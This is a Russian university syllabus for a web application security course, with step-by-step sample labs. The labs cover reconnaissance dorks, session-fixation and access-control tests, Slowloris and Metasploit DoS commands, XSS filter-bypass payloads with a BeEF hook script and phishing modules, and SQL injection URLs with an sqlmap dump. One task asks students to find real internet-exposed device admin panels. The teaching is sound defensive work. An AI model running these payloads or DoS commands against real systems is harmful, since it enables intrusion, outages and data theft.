МИНИСТЕРСТВО НАУКИ И ВЫСШЕГО ОБРАЗОВАНИЯ РФ
Федеральное государственное бюджетное образовательное учреждение
высшего образования
«ДАГЕСТАНСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ»
Факультета Информатики и Информационных Технологий

РАБОЧАЯ ПРОГРАММА ДИСЦИПЛИНЫ

Безопасность Web приложений

Кафедра Информатики и Информационных Технологий ФИиИТ

Образовательная программа бакалавриата

10.03.01 Информационная безопасность

Направленность (профиль) подготовки

Безопасность компьютерных систем

Форма обучения

Очная

Статус дисциплины:

дисциплина по выбору

Махачкала, 2022

Рабочая программа дисциплины ***«Безопасность Web приложений»*** составлена в 2022 году в соответствии с требованиями ФГОС ВО - бакалавриат по направлению подготовки 10.03.01 Информационная безопасность от «_17_» ноября 2020г. № 1427.

Разработчик(и): Кафедра ИТиБКС ст.пр. Муртузалиева А.А.

Рабочая программа дисциплины одобрена:
на заседании кафедры ИТиБКС от « 16 » 03 2022 г., протокол № 8_

зав. кафедрой _____ Ахмедова З.Х.
(подпись)

на заседании Методической комиссии факультета ИиИТ
от « 17 » 03 2022г., протокол № 7 .

председатель _____ Бакмаев А.Ш.
(подпись)

Рабочая программа дисциплины согласована с учебно-методическим управлением « 31 » 03 2022г.

Начальник УМУ _____ Гаджигаджиева А.Г.
(подпись)

Аннотация рабочей программы дисциплины

Дисциплина " Безопасность Web приложений" является дисциплиной *по выбору, которая входит в формируемую участниками образовательных отношений часть* образовательной программы *бакалавриата* по направлению 10.03.01 - Информационная безопасность.

Дисциплина реализуется на факультете ИиИТ кафедрой ИТиБКС.

Содержание дисциплины охватывает круг вопросов, связанных с современными технологиями обеспечения информационной безопасности web-приложений.

Дисциплина нацелена на формирование следующих компетенций выпускника:

Общепрофессиональных - ОПК-3, ОПК-11

профессионально-специализированых – ПК-1,ПК-9.

Преподавание дисциплины предусматривает проведение следующих видов учебных занятий: *лекции, практические занятия, самостоятельная работа.*

Рабочая программа дисциплины предусматривает проведение следующих видов контроля успеваемости в форме *контрольная работа, коллоквиум и пр.* и промежуточный контроль в форме *экзамена.*

Объем дисциплины ____4___зачетные единицы, в том числе в академических часах по видам учебных занятий

Очная форма

Семестр		Учебные занятия							Форма промежуточной аттестации (зачет, дифференцированный зачет, экзамен
		в том числе							
	Всего	Контактная работа обучающихся с преподавателем						СРС, в том числе экзамен	
		Всего	из них						
			Лекции	Лабораторные занятия	Практические занятия	КСР	консультации		
7	144	56	28	28				88	экзамен

1. Цели освоения дисциплины

Целью освоения дисциплины «Безопасность Web приложений» является: формировать умение работать с уже готовыми веб-приложениями, настраивать безопасность.

В результате изучения курса студент должен

Знать:

- современные технологии обеспечения информационной безопасности web-приложений.;
- отечественные и зарубежные стандарты информационной безопасности;
- источники уязвимости web-приложений;
- подходы к проведению тестирования информационной безопасности web-приложения.

Уметь

- разрабатывать средства информационной защиты web-приложений и используемых ими баз данных.
- формировать функциональные требования к средствам защиты web-приложения от внутренних и внешних угроз.
- выбирать средства для проведения ручного и автоматического тестирования уязвимостей web-приложения.

Владеть

- инструментальными средствами разработки безопасных web-приложений.
- навыками разработки структуры системы информационной защиты web-приложений.
- навыками практического использования различных специальных средств тестирования -
- уязвимостей web-приложения

2.Место дисциплины в структуре ОПОП бакалавриата

Данная дисциплина входит в часть образовательной программы, *формируемую участниками образовательных отношений,* и является дисциплиной по выбору. Для успешного освоения дисциплины необходимы знания и умения, полученные в результате изучения следующих дисциплин: Управление информационной безопасностью, Информационная безопасность компьютерных сетей, Криптографические методы и средства защиты информации, Технологии обеспечения информационной безопасности Основы управления информационной безопасностью, Программно-аппаратные средства защиты информации

Освоение дисциплины «Безопасность Web приложений» необходимо для последующего изучения дисциплин «Надежность ИС», «Безопасность вычислительных сетей» а также для выполнения научно-исследовательской работы и выпускной квалификационной работы

3. Компетенции обучающегося, формируемые в результате освоения дисциплины (перечень планируемых результатов обучения) .

Код и наименование компетенции из ОПОП	**Код и наименование индикатора достижения компетенций** *(в соответствии с ОПОП)*	**Планируемые результаты обучения**	**Процедура освоения**
ОПК-3. Способен использовать необходимые математические методы для решения задач профессиональной деятельности;	ИД1.ОПК-3.1.Знает математические алгоритмы функционирования, принципы построения, модели хранения и обработки данных распределенных информационных систем и систем поддержки принятия решений ИД2.ОПК-3.2.Имеет навыки применения математические модели процессов и объектов при решении задач анализа и	Знает математические алгоритмы функционирования, принципы построения, модели хранения и обработки данных распределенных информационных систем и систем поддержки принятия решений. Имеет навыки применения математические модели процессов и объектов при решении задач анализа и синтеза распределенных информационных систем и систем поддержки принятия решений. Владеет навыками построения	Устный опрос, письменный опрос, доклад, реферат

	синтеза распределенных информационных систем и систем поддержки принятия решений. ИД3.ОПК-3.3. Владеет навыками построения математических моделей для реализации успешного функционирования распределенных информационных систем и систем поддержки принятия решений	математических моделей для реализации успешного функционирования распределенных информационных систем и систем поддержки принятия решений	
ОПК-11. Способен проводить эксперименты по заданной методике и обработку их результатов;	ИД 1 ОПК-11.1. Знает стандартные вероятностно-статистические методы анализа экспериментальных данных ИД 2 ОПК-11.2.Умеет строить стандартные процедуры принятия решений, на основе имеющихся экспериментальных данных ИД 3 ОПК-11.3. Владеет навыками по проведению эксперимента по заданной методике с составлением итогового документ	Знает стандартные вероятностно-статистические методы анализа экспериментальных данных ИД 2 Умеет строить стандартные процедуры принятия решений, на основе имеющихся экспериментальных данных ИД 3 Владеет навыками по проведению эксперимента по заданной методике с составлением итогового документ	
ПК-1 Разработка, отладка, проверка работоспособности, модификация программного обеспечения	ПК-1.1. Знает современные инструментальные средства программного обеспечения ПК-1.2. Умеет анализировать и выбирать инструментальные средства программного обеспечения ПК-1.3. Владеет навыками использования методов и инструментальных средств исследования программного обеспечения	Знает: современные инструментальные средства программного обеспечения Умеет: анализировать и выбирать инструментальные средства программного обеспечения Владеет: навыками использования методов и инструментальных средств исследования программного обеспечения	Устный опрос, письменный опрос, доклад, реферат
ПК-9 Разработка и внедрение прикладное программное обеспечение с учетом требований информационной безопасности	ПК-9.1. Знать: - современные технологии обеспечения информационной безопасности web-приложений ПК-9.2. Уметь - разрабатывать средства информационной защиты web-приложений и используемых ими баз данных. ПК-9.3. Владеет навыками разработки структуры системы информационной защиты web-приложений	Знает современные технологии обеспечения информационной безопасности web-приложений Умеет разрабатывать средства информационной защиты web-приложений и используемых ими баз данных. Владеет навыками разработки структуры системы информационной защиты web-приложений	Устный опрос, письменный опрос, доклад, реферат

4. Объем, структура и содержание дисциплины.

4.1. Объем дисциплины составляет __4___ зачетные единицы, _144__ академических часа.

4.2. Структура дисциплины.

Очная форма

№ п/п	Разделы и темы дисциплины	Семестр	Неделя семестра	Виды учебной работы, включая самостоятельную работу студентов и трудоемкость (в часах)				Самостоятельная работа	Формы текущего контроля успеваемости *(по неделям семестра)* Форма промежуточной аттестации *(по семестрам)*
				Лекции	Практические занятия	Лабораторные занятия	Контроль самост. раб.		
	Модуль 1.								
1	Основные принципы построения безопасных сайтов. Понятие безопасности приложений и классификация опасностей	7		6		6		6	Устный опрос Доклад Контрольная работа
2	Источники угроз информационной безопасности и меры по их предотвращени								
	Итого по модулю 1:			***12***		***12***		***12***	
	Модуль 2.								
3	Регламенты и методы разработки безопасных веб-приложений			2		2		2	Устный опрос Доклад Контрольная работа
4	Безопасная аутентификация и авторизация								
	Итого по модулю 2			***12***		***12***		***12***	
	Модуль 3								
5	Повышение привилегий и общая отказоустойчивость системы			4		4		28	Устный опрос Доклад Контрольная работа
6	Проверка корректности данных, вводимых пользователем. Публикация изображений и файлов. Методы шифрования. SQL- инъекции. XSS-инъекции								
	Итого по модулю 3:			***4***		***4***		28	
	Модуль 4							36	экзамен
	ИТОГО:			28		28		88	

4.3. Содержание дисциплины, структурированное по темам (разделам).

4.3.1. Содержание лекционных занятий по дисциплине.

Модуль1.

Основные принципы построения безопасных сайтов. Понятие безопасности приложений и классификация

Источники угроз информационной безопасности и меры по их предотвращению

Модуль2.

Регламенты и методы разработки безопасных веб-приложений

Безопасная аутентификация и авторизация

Модуль3.

Повышение привилегий и общая отказоустойчивость системы

Проверка корректности данных, вводимых пользователем. Публикация изображений и файлов. Методы шифрования. SQL- инъекции. XSS-инъекции

4.3.2. Содержание лабораторно-практических занятий по дисциплине.

Темы лабораторных работ

Сбор информации о web-приложении

Тестирование защищенности механизма управления доступом и сессиями

Тестирование на устойчивость к атакам отказа в обслуживании

Поиск уязвимостей к атакам XSS

Поиск уязвимостей к атакам SQL-injection

5. **Образовательные технологии**

В аудитории проводятся лекции и практические (семинарские) занятия. Лекционные занятия освещают концептуальные и теоретические вопросы. На них обучаемым предлагается базовый материал курса. Лекционные занятия проводятся с применением мульти-медийных средств. Семинарские занятия проводятся с целью закрепления лекционного материала с помощью показа и разбора конкретных примеров, обсуждения проблемных вопросов, а также освоения конкретных языков и систем, а также получения навыков решения задач с использованием изученных систем. На семинарских занятиях студенты выступают с презентациями докладов, подготовленных ими по заданной теме.

Самостоятельная работа выполняется студентами по предлагаемым темам, в том числе выбранным для самостоятельного изучения. Некоторые из них докладываются на семинарах с последующим обсуждением студентами. Коллоквиумы проводятся с целью закрепления лекционного материала и контроля знаний обучающихся. Консультации по курсу учебным планом не регламентируются. Они проводятся в форме ответов на вопросы студентов и обсуждений.

6. Учебно-методическое обеспечение самостоятельной работы студентов.

Список тем для изучения

Технологии обеспечения безопасности веб-приложений.

7. Фонд оценочных средств для проведения текущего контроля успеваемости, промежуточной аттестации по итогам освоения дисциплины.

7.1. Типовые контрольные задания

- Лабораторная работа № 1
    1. **Цель:** обучение методам и средствам сбора информации об анализируемом веб-приложении.
    2. **Проверяемые компетенции (код):** ОПК -3, ОПК -11, ПК -1, ПК-9
    3. **Пример лабораторной работы:**

Теоретические вопросы

Методы и средства сбора информации об анализируемом веб-приложении.

Задание № 1. Выполнить сбор информации об анализируемом веб-приложении.

Пример сбора информации об анализируемом (условном) веб-приложении

www.test.app.com/robots.txt. Последовательность действий.

Шаг 1. В адресной строке браузера перейти по адресу www.test.app.com/robots.txt.

Проанализировать содержимое файла. Сделать выводы о наличии «скрытых» директорий.

Шаг 2. В адресной строке браузера перейти по адресу

http://www.test.app.com/crossdomain.xml и, затем, по адресу

http://www.test.app.com/clientaccesspolicy.xml. Проанализировать содержимое файлов.

Сделать выводы о корректности конфигурации политики междоменного взаимодействия.
Шаг 3. Перейти по адресу http://www.google.com. Задать поисковые запросы, определяемые анализируемым приложением, например:

- site:www.test.app.com filetype:docx confidential;
- site:www.test.app.com filetype:doc secret;
- site:www.test.app.com inurl:admin;
- site:www.test.app.com filetype:sql;
- site:www.test.app.com intext: "Access denied".

Проанализировать логику запросов и полученные данные. Построить свои запросы, используя примеры из базы запросов.
Шаг 4. Перейти по адресу http://www.shodanhq.com. Задать следующий поисковый запрос: hostname:www.test.app.com
Построить свои запросы для приложения www.test.app.com.
Шаг 5. Данный тест выполняется только для приложений, размещенных в лабораторной сети.
С помощью сетевых сканеров Nmap и Xprobe выполнить идентификацию ОС веб-сервера:
nmap –O www.test.app.com –vv # xprobe2 www.test.app.com
Шаг 6. Подключиться к веб-серверу, используя утилиту Netcat:
nc www.test.app.com 80 Отправить следующий GET запрос GET / HTTP/1.1
Host: www.test.app.com
\r\n
По заголовкам Server и X-Powered-By определить программное обеспечение, реализующее веб-сервер и фрэймворк веб-приложения. В браузере установить расширение Wappalyzer, перейти по адресу веб-приложения и проанализировать информацию о компонентах веб-приложения полученное через Wappalyzer.
Шаг 7. С помощью сканера веб-серверов Httprint (дистрибутив Backtrack) или Httprecon (ОС
Windows) выполнить идентификацию веб-сервера:
cd /pentest/enumeration/web/httprint/linux
./httprint –h www.test.app.com –s signatures.txt

С помощью сканера Wafw00f проверить наличие у вебприложения подсистемы WAF: # cd /pentest/web/waffit
python ./wafw00f.py http://www.test.app.com # python ./wafw00f.py https://www.test.app.com
Шаг 8. Выполнить тесты по идентификации поддерживаемых веб-сервером HTTP-методов.
Для этого необходимо отправить с помощью Burp Suite или Netcat запрос следующего вида:
OPTIONS / HTTP/1.1
Host: www.test.app.com
\r\n
Проверить, поддерживает ли сервер обработку запросов с произвольными методами:
DOGS / HTTP/1.1
Host: www.test.app.com
\r\n
Если веб-сервер поддерживает метод TRACE, то это может привести к уязвимости к атаке Cross-Site Tracing (XST). Для проверки поддержки веб-сервером методы TRACE отправить запрос
TRACE / HTTP/1.1
Host: www.test.app.com
\r\n

Веб-сервер поддерживает метод TRACE и потенциально уязвим к атаке XST, если получен ответа вида
HTTP/1.1 200 OK
Connection: close Content-Length: 39 TRACE / HTTP/1.1
Host: www.test.app.com
Задание № 2. Найти административные интерфейсы коммуникационного и сетевого оборудования (видеокамеры, коммутаторы ЛВС, домашние Wi-Fi маршрутизаторы, и т.д.), подключенные к сети Интернет.
Задание № 3. Оформить отчет.

- : письменный опрос №1

Цель: получение практических/теоретических навыков в аудите сайта

1. **Проверяемые компетенции (код):** ОПК -3, ОПК -11, ПК -1, ПК-9

Примерные вопросы письменного опроса:

1. Что такое HTTP? Версии HTTP, отличия??
2. Что такое метод trace?
3. Что такое xsf?

- Лабораторная работа № 2

1. **Цель:** обучение методам и средствам тестирования защищенности механизма управления доступом в веб-приложениях, современным методам и средствам тестирования защищенности механизма управления сессиями в веб-приложениях.
2. **Проверяемые компетенции (код):** ОК 01, ОК 02, ОК 03, ОК 04, ОК 05, ОК 06, ОК 07, ОК 08, ОК 09, ОК 10, ПК 9.8
3. **Пример лабораторной работы:**

Теоретические вопросы
Методы и средства тестирования защищенности механизма управления доступом в веб-приложениях.
Методы и средства тестирования защищенности механизма управления сессиями в веб-приложениях.

Задание № 1. Выполнить тестирование защищенности механизма управления доступом исследуемого веб-приложения.
Последовательность действий

Шаг 1. Настроить работу браузера через штатный проксисервер Burp Suite. В веб-браузере открыть главную страницу тестируемого веб-приложения www.test.app.com.

Шаг 2. Зарегистрироваться в веб-приложении. Получить идентификатор учетной записи и пароль доступа к веб-приложению. Проанализировать предсказуемость идентификаторов пользователей и, если это возможно, алгоритм назначения идентификаторов. Проанализировать реализованную в веб-приложении парольную политику. Оценить доступную сложность выбора паролей пользователями. Опционально выполнить атаку полного перебора паролей.

Шаг 3. Перейти по ссылке для аутентификации в приложении. При этом необходимо убедиться, что форма аутентификации доступна только по протоколу HTTPS. Убедиться, что вводимые пользователем логин и пароль отправляются в зашифрованном виде по протоколу HTTPS. Убедиться, что логин и пароль не отправляются с помощью HTTP-метода GET.

Шаг 4. Проверить, что в веб-приложении изменены стандартные пароли для встроенных учетных записей. Проверить, что новые учетные записи создаются с различными паролями.

Шаг 5. Проверить возможность идентификации пользователей веб-приложения через формы регистрации, входа и восстановления пароля. Для этого следует ввести несуществующее имя пользователя (например, qawsedrf1234) и произвольный пароль, а затем имя существующего пользователя и произвольный, но неправильный пароль. В обоих случаях должно быть выведено одно и то же сообщение об ошибке вида «Ошибка в имени пользователя или неверный пароль». Также оба HTTP-ответа должны совпадать с точностью до изменяемых параметров и быть получены за одно и то же время. В противном случае веб-приложение имеет скрытый канал (оракул), позволяющий идентифицировать его пользователей.

Шаг 6. Проверить возможность реализации атаки подбора пароля пользователя. Ввести имя пользователя. Ввести несколько раз неправильный пароль (5–10 раз). После этого ввести правильный пароль для этой учетной записи. Ввести одинаковый пароль для разных учетных записей (для 5–10). Проверить возможность доступа к веб-приложению. Блокирование учетных записей пользователя после нескольких неудачных попыток входа создает условие для реализации DoS-атаки и не должно использоваться в механизмах защиты от атак подбора паролей. Вместо этого необходимо использовать возрастающие временные задержки или средства анти- автоматизации (например, CAPTCHA).

Шаг 7. Проверить, что чувствительный контент (например, страницы с введенными номерами кредитных карт, счетов, адресов) не доступен через механизм History веб-браузера, а также не кэшируется им. Войти под учетной записью пользователя, перейти на страницу с чувствительным контентом. Ввести новые данные. Выйти из приложения. Нажать кнопку «Back». Пользователь не должен иметь возможность выполнять новые запросы (при корректной реализации управления сессиями). Если при этом пользователю доступны ранее запрашиваемые страницы, то это означает, что серверная часть веб-приложения не запретила веб-браузеру сохранять данные в истории. Запрещение кэширования определяется наличием HTTP-заголовков Pragma, Cache- Control и Expires со следующими рекомендованными значениями:
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate,

max-age=0 Expires: -1

Шаг 8. Запустить веб-приложение Web Goat. Ввести логин:
«guest», пароль: «guest».
Перейти по ссылке «Access Control Flaws → Bypass a Path Based Access Control». Изучить условия задачи. Используя FireBug (или любой аналогичный инструмент), изменить значение AccessControlMatrix.html на ../../main.jsp. Нажать кнопку «View File». Перейти по ссылке «LAB: Role Based Access Control →Stage 1». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Можно видеть, что от пользователя скрыта кнопка «DeleteProfile», так как он не должен иметь возможности удалять учетные записи. Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Используя FireBug (или любой аналогичный инструмент), изменить HTML- размету, заменив элемент
<input type="submit" value="ViewProfile" name="action">
на элемент
<input type="submit" value="DeleteProfile" name="action">
Нажать кнопку «DeleteProfile». Просмотреть отправленный запрос в Burp Suite. Профиль пользователя будет удален. Опционально решить задачу «LAB: Role Based Access Control → Stage 2». Перейти по ссылке «LAB: Role Based Access Control →Stage 3». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Можно видеть, что пользователю доступны данные своего профиля. Используя FireBug (или любой аналогичный инструмент), изменить HTML-размету, заменив элемент <option value="105" selected="">Tom Cat (employee)</option>

на элемент
<option value="103" selected="">Tom Cat (employee)</option>
Нажать кнопку «ViewProfile». Просмотреть отправленный запрос в Burp Suite. Будут выведены данные профиля пользователя
Curly Stooge.
Опционально решить задачу «LAB: Role Based Access Control → Stage 4».
Перейти по ссылке «Remote admin access». Изучить условия задачи. Просмотреть подменю
«Admin Functions». Перейти по ссылке
WebGoat/attack?Screen=86&menu=200&admin=true.
Просмотреть подменю «Admin Functions».

Задание № 2. Изучить рекомендации к защищенной реализации механизма хранения паролей.
Исследовать механизм восстановления паролей выбранного веб-приложения.

Задание № 3. Исследовать минимально допустимую длину и сложность паролей в произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100.

Задание № 4. Выполнить тестирование защищенности механизма управления сессиями исследуемого веб-приложения.
Последовательность действий

Шаг 1. Настроить работу браузера через штатный прокси-сервер Burp Suite. В веб-браузере открыть главную страницу тестируемого веб-приложения www.test.app.com. Просмотреть Cookie, определить, создается ли сессия для неаутентифицированных (анонимных) пользователей.

Шаг 2. Ввести корректные логин и пароль. Определить, что используется в качестве транспорта для передачи идентификатора сессии. Если для этого используется механизм Cookie, то определить имена cookie, их атрибуты (Secure, HttpOnly, Domain, Path, Expires) и значения. Проанализировать адекватность используемых атрибутов Cookie.
Шаг 3. Проанализировать имя идентификатора сессии, его структуру и значение, определить, используется ли кодирование или шифрование данных. Используя инструмент Sequencer в Burp Suite, проанализировать вероятностные характеристики последовательности идентификаторов сессий. Сделать вывод о соответствии реализации функции генерации идентификаторов требованиям безопасности. Сделать вывод о возможности использования атаки грубой силы для генерации сессионного идентификатора пользователя.

Шаг 4. Проверить аннулируемость сессии на серверной стороне. Сохранить Cookie в веб- браузере (можно использовать расширение Export Cookies), выйти из приложения. Импортировать сохраненные ранее Cookie в браузер (можно использовать расширение Import Cookies). Перейти по любому адресу веб-приложения. Если вы попадете в предыдущую сессию, то это означает, что аннулирование сессии происходит только на клиенте. Проверить, что пользователь может завершить свою сессию в любой момент времени – каждая страница, доступная после аутентификации, содержит ссылку типа «Sign out», позволяющую завершить сессию. Проверить, какие механизмы таймаутов реализованы в веб-приложении.

Шаг 5. Проверить возможность выполнения атаки типа «Фиксация сессии». Для этого проверить наличие следующего недостатка: веб-приложение не обновляет сессионный идентификатор, отправленный браузером пользователя, после успешной аутентификации последнего. Отправить запрос веб-приложению и получить сессионный идентификатор в Cookie:
GET / HTTP/1.1
Host: www.test.app.com
\r\n

Получить и проанализировать ответ
HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT
Server: IBM_HTTP_Server
Set-Cookie: ID=d8eyYq3L0z2fgq10m4v; Path=/; secure Аутентифицироваться, используя запрос с полученным иден- тификатором ID:
POST https://www.test.app.com/auth HTTP/1.1 Host: www.test.app.com
Cookie: ID=d8eyYq3L0z2fgq10m4v
\r\n user=test&password=Zz123456
Если аутентификация прошла успешно, то приложение уязвимо к атаке фиксации сессии. Дополнительно убедиться, что идентификатор сессии передается только в Cookie и не раскрывается в лог-файлах, сообщениях об ошибках, URL и т.д.
Шаг 7. Проверить, что идентификатор сессии меняется после повторной аутентификации, смены пароля, роли и т.д.
Шаг 8. Проверить, что веб-приложение не позволяет иметь две одинаковые сессии с двух разных узлов сети.

Задание № 5. Предложить сценарий атаки, использующий недостаток аннулирования сессии только на клиентской стороне веб-приложения.

Задание № 6. Используя поисковые системы (Google, Shodan), найти веб-приложения с механизмом URL Rewriting.

Задание № 7. Написать сценарий JavaScript, устанавливающий или считывающий идентификатор сессии пользователя.

Задание № 8. Оформить отчет.

- ОЦЕНОЧНОЕ СРЕДСТВО: Лабораторная работа № 3
    1. **Цель:** обучение методам и средствам тестирования веб-приложений на устойчивость к атакам отказа в обслуживании (DoS-атакам).
    2. **Проверяемые компетенции (код):** ОПК -3, ОПК -11, ПК -1, ПК-9
    3. **Пример лабораторной работы:**

Теоретические вопросы

Методам и средства тестирования веб-приложений на устойчивость к атакам отказа в обслуживании (DoS-атакам).
Задание № 1. Выполнить тестирование устойчивости веб-приложения www.test.app.com к DoS-атакам на уровне протокола HTTP.
Последовательность действий

Шаг 1. Установить программу slowhttptest, доступную по URL вида https://code.google.com/p/slowhttptest. Изучить документацию. Запустить сетевой анализатор Wireshark.

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера www.test.app.com, установить и выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:
slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000
–u http://www.test.app.com
Провести несколько тестов с различными параметрами. Построить графики состояния веб- сервера.

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:
slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000
–u http://www.test.app.com

Провести несколько тестов с различными параметрами. Построить графики состояния веб- сервера.

Шаг 5. Запустить в отношении веб-сервера атаку Slow Read, выбрав файл достаточного размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n 50

– w 1 -y 2 -z 1 –u http://www.test.app.com/bigauth.js

Провести несколько тестов с различными параметрами. Построить графики состояния веб- сервера.

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx. Проделать предыдущие шаги в отношении сервера Nginx.

Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Проделать предыдущие шаги в отношении сервера IIS.

Шаг 8. В отношении сервера Apache выполнить атаку Apache Range Header.

Проанализировать результаты. Выполнить команду

slowhttptest -R -u http://www.test.app.com -t GET

– c 1000 -a 10 -b 3000 -r 500

Выполнить атаку Apache Range Header с использованием Metasploit Framework: # msfconsole

> use auxiliary/dos/http/apache_range_dos
> show options
> set RHOSTS www.test.app.com
> set RPORT 80
> set RLIMIT 100
> set THREADS 3
> run

Задание № 2. Проанализируйте, как можно по косвенным признакам определить уязвимость веб-сервера к атакам типа Slow HTTP DoS?

Задание № 3. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTP DoS.

Задание № 4. Реализовать и протестировать веб-приложение, уязвимое к атаке XML Bomb.

Задание № 5. Оформить отчет.

- ОЦЕНОЧНОЕ СРЕДСТВО: Лабораторная работа № 4
    1. **Цель:** обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам XSS.
    2. **Проверяемые компетенции (код):** ОПК -3, ОПК -11, ПК -1, ПК-9
    3. **Пример лабораторной работы:**

Теоретические вопросы

Методы и средства идентификации и эксплуатации уязвимостей веб-приложений к атакам

XSS.

Задание № 1. Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS.

Последовательность действий

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «XSS → Example 1». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В

качестве переменной name ввести вектор <script>alert(1)</script>

Шаг 3. Перейти по ссылке «XSS → Example 2». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор
<script>alert(1)</script>
Убедиться, что слово script фильтруется. Ввести вектор
<ScRipT>alert(1)</sCrIpT>

Шаг 4. Перейти по ссылке «XSS → Example 3». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор
<script>alert(1)</script>
Убедиться, что слово <script> вырезается. Ввести вектор
<scr<script>ipt>alert(1)</s</script>cript>

Шаг 5. Перейти по ссылке «XSS → Example 4». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор
<script>alert(1)</script>
Убедиться, что слово <script> вырезается корректно. Ввести вектор
<img/src=1 onerror=alert(1)>

Шаг 6. Перейти по ссылке «XSS → Example 5». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора
<script>alert(1)</script>
<img/src=1 onerror=alert(1)>
Убедиться, что слово alert вырезается корректно. Ввести вектора
<img/src=1 onerror=\u0061alert(1)>
<img/src=1 onerror=prompt(1)>
<img src=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">

Шаг 7. Перейти по ссылке «XSS → Example 6». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора
";alert(1);"
</script><script>alert(1);//

Шаг 8. Перейти по ссылке «XSS → Example 7». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор
";alert(1);"
Убедиться, что символ " кодируется в HTML-сущность &quot. В качестве переменной name
ввести вектор ';alert(1);'

Шаг 9. Перейти по ссылке «XSS → Example 8». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. Вводимые данные кодируются корректно. Изменить URL на следующий:
xss/example8.php/"onsubmit="alert(1)

Шаг 10. Перейти по ссылке «XSS → Example 9». Проанализировать логику функционирования веб-приложения. Определить контекст и тип возможной атаки XSS. В браузере перейти по ссылке
xss/example9.php#<script>alert(1)</script>.
Убедиться, что никакого HTTP-запроса не отправляется.

Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по ссылке «XSS → Example 1». В качестве значения параметра name ввести вектор

<script src="http://1.1.1.1:3000/hook.js"></script>

Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В разделе «Online Browser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о браузере и компьютере. Перейти во вкладку «Commands». Выполнить следующие команды и проанализировать полученные результаты:
− «Create Alert Dialog»;
− «Redirect Browser», перенаправив пользователя на сайт http://evil.com;
− «Clickjacking»;
− «Clippy»;
− «Fake Notification Bar»;
− «Google Phishing»;
− «Pretty Theft».

Задание № 2. Выполнить задания по поиску уязвимостей к атакам XSS на сайте xss-game.appspot.com.

Задание № 3. Выполнить задания по поиску уязвимостей к атакам XSS на сайте escape.alf.nu.

Задание № 4. Выполнить задания по поиску уязвимостей к атакам XSS на сайте prompt.ml.

Задание № 5. Оформить отчет.

- ОЦЕНОЧНОЕ СРЕДСТВО: Лабораторная работа № 5
    1. **Цель:** обучение методам и средствам идентификации и эксплуатации уязвимостей в веб- приложениях к атакам SQL-injection.
    2. **Проверяемые компетенции (код):** ОПК -3, ОПК -11, ПК -1, ПК-9
    3. **Пример лабораторной работы:**

Теоретические вопросы

Методы и средства идентификации и эксплуатации уязвимостей в веб-приложениях к атакам
SQL-injection.

Задание № 1. Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection.

Последовательность действий

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «SQL injections → Example 1». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL- запроса:
− sqli/example1.php?name=root'
− sqli/example1.php?name=root"
− sqli/example1.php?name=root'%201=1
− sqli/example1.php?name=root'%201=1#
− sqli/example1.php?name=root'%201=1%20–
− sqli/example1.php?name=root'%201=1%20/*
− sqli/example1.php?name=root'%20'1'='1
− sqli/example1.php?name=root'%20'1'='2
− sqli/example1.php?name=root'%23sqli

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL- injection. Выполнить следующую команду:
python sqlmap.py –p name —dmbs=mysql —dump
–u http://IP_address/sqli/example1.php?name=root

Просмотреть результаты работы программы, просмотреть полученные данные из базы данных.

Шаг 2. Перейти по ссылке «SQL injections → Example 2». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

− sqli/example2.php?name=root%20and%201=1
− sqli/example2.php?name=root'%09and%09'1'='1
− sqli/example2.php?name=root'%09and%09'1'='2
− sqli/example2.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL- injection. Запустить sqlmap, убедиться, что в данном случае он не смог идентифицировать уязвимый параметр.

